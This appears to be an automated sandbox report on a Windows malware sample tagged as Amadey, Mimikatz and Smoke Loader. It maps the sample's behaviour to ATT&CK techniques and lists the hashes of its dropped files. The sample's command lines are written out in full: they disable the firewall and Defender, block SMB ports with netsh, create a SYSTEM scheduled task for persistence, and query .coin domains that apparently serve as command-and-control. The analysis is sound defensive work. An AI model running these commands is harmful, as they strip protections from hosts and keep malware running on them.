Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	utzchgp.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5568	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5732	schtasks.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
4668	cskqfggabbhwqww30735.exe
5068	utzchgp.exe
5068	utzchgp.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
Token: SeDebugPrivilege	5552	utzchgp.exe
Token: SeDebugPrivilege	5068	utzchgp.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
1740	hentai.exe
4436	meouau.exe
5552	utzchgp.exe
2852	hentai.exe
5068	utzchgp.exe
3764	hentai.exe
4668	cskqfggabbhwqww30735.exe
5864	utzchgp.exe
5668	hentai.exe
4444	utzchgp.exe
5044	hentai.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1740	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	79
PID 2196 wrote to memory of 1740	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	79
PID 2196 wrote to memory of 1740	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	79
PID 2196 wrote to memory of 4912	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	80
PID 2196 wrote to memory of 4912	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	80
PID 2196 wrote to memory of 4912	2196	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe	80
PID 4912 wrote to memory of 5568	4912	cmd.exe	83
PID 4912 wrote to memory of 5568	4912	cmd.exe	83
PID 4912 wrote to memory of 5568	4912	cmd.exe	83
PID 4912 wrote to memory of 5552	4912	cmd.exe	84
PID 4912 wrote to memory of 5552	4912	cmd.exe	84
PID 4912 wrote to memory of 5552	4912	cmd.exe	84
PID 5552 wrote to memory of 2852	5552	utzchgp.exe	85
PID 5552 wrote to memory of 2852	5552	utzchgp.exe	85
PID 5552 wrote to memory of 2852	5552	utzchgp.exe	85
PID 5068 wrote to memory of 3764	5068	utzchgp.exe	87
PID 5068 wrote to memory of 3764	5068	utzchgp.exe	87
PID 5068 wrote to memory of 3764	5068	utzchgp.exe	87
PID 5068 wrote to memory of 4668	5068	utzchgp.exe	88
PID 5068 wrote to memory of 4668	5068	utzchgp.exe	88
PID 5068 wrote to memory of 4668	5068	utzchgp.exe	88
PID 5068 wrote to memory of 5008	5068	utzchgp.exe	89
PID 5068 wrote to memory of 5008	5068	utzchgp.exe	89
PID 5068 wrote to memory of 5008	5068	utzchgp.exe	89
PID 5068 wrote to memory of 5396	5068	utzchgp.exe	91
PID 5068 wrote to memory of 5396	5068	utzchgp.exe	91
PID 5068 wrote to memory of 5396	5068	utzchgp.exe	91
PID 5068 wrote to memory of 4496	5068	utzchgp.exe	93
PID 5068 wrote to memory of 4496	5068	utzchgp.exe	93
PID 5068 wrote to memory of 4496	5068	utzchgp.exe	93
PID 5068 wrote to memory of 4512	5068	utzchgp.exe	95
PID 5068 wrote to memory of 4512	5068	utzchgp.exe	95
PID 5068 wrote to memory of 4512	5068	utzchgp.exe	95
PID 4512 wrote to memory of 5716	4512	cmd.exe	97
PID 4512 wrote to memory of 5716	4512	cmd.exe	97
PID 4512 wrote to memory of 5716	4512	cmd.exe	97
PID 4512 wrote to memory of 5732	4512	cmd.exe	98
PID 4512 wrote to memory of 5732	4512	cmd.exe	98
PID 4512 wrote to memory of 5732	4512	cmd.exe	98
PID 5068 wrote to memory of 5072	5068	utzchgp.exe	99
PID 5068 wrote to memory of 5072	5068	utzchgp.exe	99
PID 5068 wrote to memory of 5072	5068	utzchgp.exe	99
PID 5068 wrote to memory of 5980	5068	utzchgp.exe	101
PID 5068 wrote to memory of 5980	5068	utzchgp.exe	101
PID 5068 wrote to memory of 5980	5068	utzchgp.exe	101
PID 5068 wrote to memory of 1224	5068	utzchgp.exe	103
PID 5068 wrote to memory of 1224	5068	utzchgp.exe	103
PID 5068 wrote to memory of 1224	5068	utzchgp.exe	103
PID 5068 wrote to memory of 5736	5068	utzchgp.exe	105
PID 5068 wrote to memory of 5736	5068	utzchgp.exe	105
PID 5068 wrote to memory of 5736	5068	utzchgp.exe	105
PID 5068 wrote to memory of 5464	5068	utzchgp.exe	107
PID 5068 wrote to memory of 5464	5068	utzchgp.exe	107
PID 5068 wrote to memory of 5464	5068	utzchgp.exe	107
PID 5068 wrote to memory of 5200	5068	utzchgp.exe	109
PID 5068 wrote to memory of 5200	5068	utzchgp.exe	109
PID 5068 wrote to memory of 5200	5068	utzchgp.exe	109
PID 5068 wrote to memory of 4700	5068	utzchgp.exe	111
PID 5068 wrote to memory of 4700	5068	utzchgp.exe	111
PID 5068 wrote to memory of 4700	5068	utzchgp.exe	111
PID 5068 wrote to memory of 3448	5068	utzchgp.exe	113
PID 5068 wrote to memory of 3448	5068	utzchgp.exe	113
PID 5068 wrote to memory of 3448	5068	utzchgp.exe	113
PID 5068 wrote to memory of 128	5068	utzchgp.exe	115

C:\Users\Admin\AppData\Local\Temp\2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Users\Admin\AppData\Local\Temp\hentai.exe
  C:\Users\Admin\AppData\Local\Temp\hentai.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\zmlbyttq\utzchgp.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5568
- - C:\Windows\zmlbyttq\utzchgp.exe
    C:\Windows\zmlbyttq\utzchgp.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5552
  - - C:\Users\Admin\AppData\Local\Temp\hentai.exe
      C:\Users\Admin\AppData\Local\Temp\hentai.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:2852

C:\Windows\SysWOW64\meouau.exe
C:\Windows\SysWOW64\meouau.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4436

C:\Windows\zmlbyttq\utzchgp.exe
C:\Windows\zmlbyttq\utzchgp.exe
1⤵
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Indicator Removal: Clear Persistence
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\TEMP\hentai.exe
  C:\Windows\TEMP\hentai.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3764
- C:\Windows\zmlbyttq\cskqfggabbhwqww30735.exe
  C:\Windows\zmlbyttq\cskqfggabbhwqww30735.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4668
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static delete all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5008
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5396
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tcmbmbqrm" /ru system /tr "cmd /c C:\Windows\Fonts\utzchgp.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "tcmbmbqrm" /ru system /tr "cmd /c C:\Windows\Fonts\utzchgp.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5732
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5980
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5736
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5464
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5200
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4700
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3448
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:128
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4592
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3664
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2992
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4856
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:1532
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:5304
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:5888
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1352
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2676
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5796
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3004
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:1292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:1960
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:4928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:1040
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4564
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5288
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:6036
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2160
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3600
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin seed1.emercoin.com
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2440
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin seed1.emercoin.com
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin seed2.emercoin.com
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5916
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin seed2.emercoin.com
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:2288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 161.97.219.84
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1612
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 161.97.219.84
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:1704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 163.172.168.171
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2928
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 163.172.168.171
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:5148
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 94.103.153.176
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6040
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 94.103.153.176
    3⤵
    - Unexpected DNS network traffic destination
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 207.192.71.13
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4852
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 207.192.71.13
    3⤵
    - Unexpected DNS network traffic destination
    PID:5772
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 178.63.116.152
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2196
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 178.63.116.152
    3⤵
    - Unexpected DNS network traffic destination
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 51.77.227.84
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1740
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 51.77.227.84
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:6044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 188.226.146.136
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2868
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 188.226.146.136
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 51.75.173.177
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4760
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 51.75.173.177
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:5324
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 79.124.7.81
  2⤵
  PID:4312
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 79.124.7.81
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:6056
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 144.76.103.143
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5360
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 144.76.103.143
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:2112
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 5.132.191.104
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 5.132.191.104
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:5540
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 13.239.157.177
  2⤵
  PID:1456
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 13.239.157.177
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:3364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 207.148.83.241
  2⤵
  PID:4464
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 207.148.83.241
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:4456
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 165.227.40.43
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1872
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 165.227.40.43
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:4920
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c nslookup -qt=A 0x00x1.coin 142.4.204.111
  2⤵
  - System Location Discovery: System Language Discovery
  PID:240
- - C:\Windows\SysWOW64\nslookup.exe
    nslookup -qt=A 0x00x1.coin 142.4.204.111
    3⤵
    - Unexpected DNS network traffic destination
    - System Location Discovery: System Language Discovery
    PID:128

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\utzchgp.exe
1⤵
PID:424
- C:\Windows\Fonts\utzchgp.exe
  C:\Windows\Fonts\utzchgp.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5864
- - C:\Windows\TEMP\hentai.exe
    C:\Windows\TEMP\hentai.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5668

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\utzchgp.exe
1⤵
PID:2036
- C:\Windows\Fonts\utzchgp.exe
  C:\Windows\Fonts\utzchgp.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4444
- - C:\Windows\TEMP\hentai.exe
    C:\Windows\TEMP\hentai.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Network Share Discovery

T1135

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\hentai.exe

Filesize
64KB

MD5
33332120861d18fbd17fee1025af56dd

SHA1
132a3a34c2178a1d6ea110e904ba81dfc7765b6f

SHA256
7776bb0e5a62e12498d89cf7f34ef2d1fad3ccef52cbb9d5c62ef492f4e3873d

SHA512
ff9aab8f465d060315e998ec0738998506c065f24c3361777bd5b2c7f0fcbe913eb14a71f1ceae30e986bd68989dbdefe00aed9129347cc9435b0c712941e5b1

Download Submit
C:\Windows\zmlbyttq\cskqfggabbhwqww30735.exe

Filesize
69KB

MD5
e564dc14ddb5b9c5e1661339b1daed09

SHA1
c951eda553db0d816fc79765937112f66976f8d5

SHA256
3d06ca12e9d6e3effe5fcbb87ebd16d4e978b9657374e3d0fb3c81725d415a98

SHA512
37e69238a07ae617aff72719c15b1503e6c2a94c8fbacc4ca28ebd0d083d93815fd66af83147692ea3449256a5c86a1137d763cff6f21617e8ca80eeb4d91d2e

Download Submit
C:\Windows\zmlbyttq\utzchgp.exe

Filesize
10.6MB

MD5
0d020423b6e699e73d2252d7bc3e0bd1

SHA1
712f42e48d07588a0d7bf7e65bb38d0f558bf8fd

SHA256
1268b616a6c0939893b12fa664aeaf8e1d317e826aeb096092f278c384c281d1

SHA512
cfa1b82cad70fc3696a01cb5ee646b9bb437e4da6c9a7aac88121822bf760117a08c953d56f260392d810ad725ae91b2b20c4f62de00e357e9cf335e670d46ed

Download Submit
memory/1740-9-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1740-19-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2196-0-0x0000000000400000-0x0000000000D0F000-memory.dmp

Filesize
9.1MB

Download
memory/2196-8-0x0000000000400000-0x0000000000D0F000-memory.dmp

Filesize
9.1MB

Download
memory/4668-41-0x0000000000400000-0x0000000000469000-memory.dmp

Filesize
420KB

Download
memory/4668-43-0x0000000000400000-0x0000000000469000-memory.dmp

Filesize
420KB

Download
memory/5068-38-0x0000000010000000-0x000000001000B000-memory.dmp

Filesize
44KB

Download
memory/5552-23-0x0000000000400000-0x0000000000D0F000-memory.dmp

Filesize
9.1MB

Download